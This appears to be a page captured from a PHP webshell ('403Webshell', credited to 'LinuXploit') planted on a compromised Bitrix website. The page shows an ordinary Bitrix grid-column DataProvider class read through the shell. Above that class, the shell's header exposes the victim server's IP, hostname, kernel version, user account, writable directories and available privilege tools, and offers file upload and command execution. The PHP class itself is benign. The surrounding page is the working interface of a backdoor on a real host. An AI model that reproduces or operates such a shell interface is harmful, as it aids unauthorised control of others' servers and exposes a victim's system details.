403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/column/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/column/dataprovider.php
<?php

namespace Bitrix\Main\Grid\Column;

use Bitrix\Main\Grid\Settings;

/**
 * Columns provider.
 *
 * Responsible for creating columns, used in the column collection.
 *
 * @see \Bitrix\Main\Grid\Column\Columns
 */
abstract class DataProvider
{
	private ?Settings $settings;

	/**
	 * @param Settings|null $settings if not used, may be `null`
	 */
	public function __construct(?Settings $settings = null)
	{
		$this->settings = $settings;
	}

	/**
	 * Provider settings.
	 *
	 * @return Settings
	 */
	final protected function getSettings(): Settings
	{
		return $this->settings;
	}

	/**
	 * Create column from params description.
	 *
	 * @param string $columnId
	 * @param array $params
	 *
	 * @return Column
	 */
	protected function createColumn(string $columnId, array $params = []): Column
	{
		if (!isset($params['id']))
		{
			$params['id'] = $columnId;
		}

		return new Column($columnId, $params);
	}

	/**
	 * Create columns from params descriptions.
	 *
	 * @param array[] $columns in format `[id => params]`. Params is argument `createColumn` method.
	 *
	 * @return Column[]
	 */
	protected function createColumns(array $columns): array
	{
		$result = [];

		foreach ($columns as $id => $description)
		{
			$result[$id] = $this->createColumn($id, $description);
		}

		return $result;
	}

	/**
	 * Provider columns.
	 *
	 * @return Column[] allowed without keys.
	 */
	abstract public function prepareColumns(): array;
}

Youez - 2016 - github.com/yon3zu
LinuXploit